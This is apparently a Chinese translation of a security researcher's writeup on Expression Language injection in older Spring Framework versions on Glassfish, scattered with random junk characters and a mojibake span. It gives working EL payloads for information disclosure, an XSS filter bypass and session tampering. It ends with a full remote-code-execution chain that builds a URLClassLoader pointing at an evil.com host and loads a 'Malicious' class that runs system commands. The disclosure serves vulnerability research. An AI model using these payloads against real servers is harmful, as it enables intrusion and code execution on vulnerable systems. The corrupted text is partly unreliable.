Remote Code with: ~. a; T, }4 X2 F3 ^: a
Expression Language Injection
0 O" ^9 S& T7 d, V$ Z) ^Spring Framework脆弱性—DanAmodio5 ]; r3 ^2 v0 N
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中& ? x- o7 z3 {4 M
可能会存在风险。5 ]& M9 O# ~0 u& @) y# W
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
5 j1 Z) q5 E; y7 ~! ?$ LArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可9 E) e& M& y# b+ i% U
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
0 O$ p& u7 @2 {; c2 H6 h) D以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
2 l9 `1 V5 o2 k/ o [$ v5 a9 y& v版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。' b1 e/ j/ X( g) _. P
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
7 Q7 |9 h1 u" P M1 K1 Z1 T我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
; e$ @4 M& U+ ?/ z* g) N本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。; j/ _/ {4 l. b, z
这些版本不支持禁用double EL resolution.
$ z9 ~$ M- s+ X0 d9 ?4 r这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
/ v3 ]9 G" O, h& O$ BEL2.2容器上可能进行远程代码执行。
9 u. @% C7 e. J( W这是一个原始信息泄露的攻击例子:' Y) L: e9 l* I7 D
请求:
h3 W3 K d3 }8 ~- Pttp://vulnerable.com/foo?message=${applicationScope}: t: g9 C+ b j5 }
到达以下内容页面:2 e7 F2 Y8 O$ p! ?* O0 H' ?
结果将输出一些包含内部服务器信息calsspath 和本地工作目录3 p' r4 @$ ?# V1 I: p
你也可以做一些其他事情,如这样:
: I9 I5 N3 q+ A8 v/ G9 U$ S${9999+1}+ [! Z0 G! ^; S8 l$ ]: }5 q% t2 C# J
还可以访问session 对象和beans
/ ^, X7 p' \- U+ }" O; Y4 l* N${employee.lastName}
5 f. f, p: O% ?' ` @在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是3 Q: @ U. ]9 ]& T1 a: C2 Z
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
1 i3 D5 s, x1 m ^# Z% {8 I% A西,比如XSS.' d1 o' h2 J8 I6 g$ r7 F5 P
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签$ q6 a* b; Y: D
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤3 c4 a B0 Y/ V4 _& B- P7 v. X
呢?”
. H' o! G7 ~* b; Z! p因此,我尝试巳缦拢�
, Z2 l. `- n+ T2 f" v5 F' Lhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
0 N4 x9 A$ p$ m# K0 w5 A% rP! F& k7 v8 D3 k/ E% O
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
4 t7 a! i# ~* y" \ g7 ]7 m l; j回的文本被插入进了spring:message 标签。
8 B3 {" G$ x0 Z+ A' \; {2 l- }: f这里是一个最终绕过过滤的实例:2 ?- s' e& ^' }7 m' [4 }8 V
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
' i& ~3 h9 P- n# ^4 T它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为1 u& _% x- T. x
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
7 o/ Y. `( X+ W经过一番研究,我学习到EL2.2 增加了方法调用。- T, k, B, ? j3 w6 \7 [( w& P$ y) W
我写了一个快速测试应用程序代码并且检测一些功能
) T1 M1 y- i& A6 W${pageContext.request.getSession().setAttribute(“account”,”123456″)}9 O& }7 `& J) B4 j( ~+ E, b
${pageContext.request.getSession().setAttribute(“admin”,true)}/ o! `# {8 r4 g4 A
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
" Q" D+ [! S( Z0 l6 S0 l指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?0 U8 u8 v" N' J3 a9 @ L
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
% U8 b" q+ }% o3 t: |“, 1234)}
: o* Y8 d6 S. M9 d* }; m2 T5 C1 c${“”.getClass().forName(“java.lang.Runtime”)}
8 V. B7 d& P7 K9 h6 j4 [5 b哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
, z, h( o$ R0 O/ @2 e可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函: e* [. I0 Q+ ]* z. ? X- A {+ K
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有- S: u" N( Q% N- S/ p+ G) I& W1 l
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于, B$ _- K/ ^/ I( e; j/ l# m5 o
方法签名invoke(Object obj, Object„ args)3 r- p& f6 W, v5 S1 Q
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问" y; G; Q5 a, k1 y' f2 j
题,以让它可以工作起来。
0 u( V, S6 o A: Y5 J漏洞利用:
6 ^ Z1 E7 G+ B4 z! B' _我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
9 M+ P" A/ q) U. m; H( f希望你们中的一些JAVA奇才告诉我我是如此的可笑。
2 q5 I8 p4 G7 t& k G这里有一些我试过的失败的用例,为了试图让它工作的用例:
M+ n/ `, M6 S I$ Q* W; r 写文件到文件系统. e' g( r" `) O9 P
试图载入org.springframework.expression.spel.standard.SpelExpressionParser. x, Y9 ?6 }* _$ Y& X
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
' R$ i4 E) o( o7 z# D* J7 L" x${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}$ x- T$ V7 |# F# o3 ]2 A6 P* h3 e5 n
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
& ~5 T% h6 \5 y; ^# W3 _org.springframework.expression.spel.standard.SpelExpressionParser not found% M* l/ K$ a0 e
by% l; b( x. C5 K" C, B! }: L
org.glassfish.web.javax.servlet.jsp [194].% `$ ]% ]/ W$ e v
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public& p! R' i6 y/ b% O
利用反射来创建一个新的Runtime(and watch the world burn)
+ Y! `' s! u& Z4 V${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
. R4 l' s, T+ u1 y(“java.lang.Runtime”)).getDeclaredConstructors()[0])}% M! E" e2 h% T( k: b1 P3 f
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}. X4 e- Q* T0 x( K8 s+ Y
使用java.lang.ProcessBuilder
6 I6 b \- A+ U' ]/ C3 O# ?8 ? 用表达式语言来评估表达式语言
L% }8 i. u1 V. BExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
; p3 j2 K' Y+ b6 U5 B2 T${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
: v9 O. M" P7 ?; ^$ }“,”".getClass(),null)}+ S! M5 \. Z- P# @* }
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)8 ]9 M/ W' @: O$ P
我在使用一个空数组通过Method.invoke()时失败了很多次
. i- v+ c8 [4 a7 C“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
6 r8 Y& @8 }- J.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
0 s- N* p, ^7 N$ O8 urrayList”).newInstance().toArray())
8 q1 `# j# c }% w$ }* H- Vjava.lang.IllegalArgumentException: wrong number of arguments
% R0 q K0 u4 ]+ S v最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
0 o+ \; M) p2 p2 s! v7 P' ]以创建一个恶意class文件并且指向类装载器.* \ v" [+ d4 c5 Y& O9 O5 B D
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:. p" e! ]& T* {6 e0 P% @# \
public class Malicious {
% ^8 a( p7 B9 e! @* ypublic Malicious() {
5 [4 J! m7 X$ g4 Atry {7 w- O. p4 v. S( S& ^# |; R# O6 b
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
4 l! \- c4 x, x$ _% Z. i/ ujava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win* }1 ?+ w" q2 ^8 U$ i2 l8 p9 {. Y& }0 f+ t
} catch (Exception e) {
9 z! T, d: D* T( D/ l6 L}$ c$ {" x5 \0 `0 T& L8 m+ R: n k; ]
}
|4 M0 a1 J+ b; Z) O0 L- W我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回: b8 j9 `9 @# t' M4 G
话中,因此它可以被使用.
5 r; K X( h: x${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName- z" G7 b0 F' Q0 A- E2 X
(“java.util.ArrayList”).newInstance())}
7 W) r2 T+ s6 E8 i* \+ TURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
; Q( F. Z+ E: n5 \一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
9 k! g4 l5 p9 i# S! ?! v' v- h& t- ^getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个4 r) ^; b X* L3 R- @ h8 h2 Z5 ?
我们可以调用的create(string)方法,然后转换对一个URL对象。- P" h. q+ e; e, |' a1 ? f5 `
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh$ d* `$ F' m4 D" K) ^5 s
ere/malicious/classfile/is/located/”).toURL())}
8 n6 J( `/ M( i& b. w! c' W然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
! g8 B% K& {0 I) N恶意类文件被装载并创建,触发远程代码.
3 {8 i; T5 y; G${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
, F" u8 D3 A6 G% ]& C1 ext.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().0 a! i; o4 t5 w5 x. H- @
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
2 q3 |8 v8 n0 [& @) J6 }()} |